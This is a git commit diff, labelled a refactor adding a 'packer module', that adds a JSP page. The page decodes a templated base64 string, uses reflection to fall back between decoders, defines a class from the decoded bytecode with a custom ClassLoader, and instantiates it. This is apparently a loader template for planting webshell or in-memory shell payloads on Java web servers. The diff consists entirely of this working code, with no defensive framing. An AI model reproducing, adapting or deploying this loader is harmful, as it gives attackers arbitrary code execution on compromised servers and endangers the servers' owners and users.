refactor: add packer module

2026-09-23 07:21:53 +08:00 · 2025-08-13 23:53:40 +08:00
parent 2f8ab27ee2
commit a1fec396ba
176 changed files with 830 additions and 1062 deletions
@@ -0,0 +1,33 @@
+<%@ page import="java.lang.*" %>
+<%@ page import="java.lang.Class" %>
+<%@ page import="java.lang.ClassLoader" %>
+<%@ page import="java.lang.ClassNotFoundException" %>
+<%@ page import="java.lang.Object" %>
+<%@ page import="java.lang.String" %>
+<%@ page import="java.lang.Thread" %>
+<%!
+    public static class ClassDefiner extends ClassLoader {
+        public ClassDefiner(ClassLoader classLoader) {
+            super(classLoader);
+        }
+
+        public Class<?> defineClass(byte[] code) {
+            return defineClass(null, code, 0, code.length);
+        }
+    }
+%>
+
+<%
+    String base64Str = "{{base64Str}}";
+    byte[] bytecode = null;
+    try {
+        Class base64Clz = Class.forName("java.util.Base64");
+        Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
+        bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+    } catch (ClassNotFoundException ee) {
+        Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
+        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
+    }
+    Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
+    clazz.newInstance();
+%>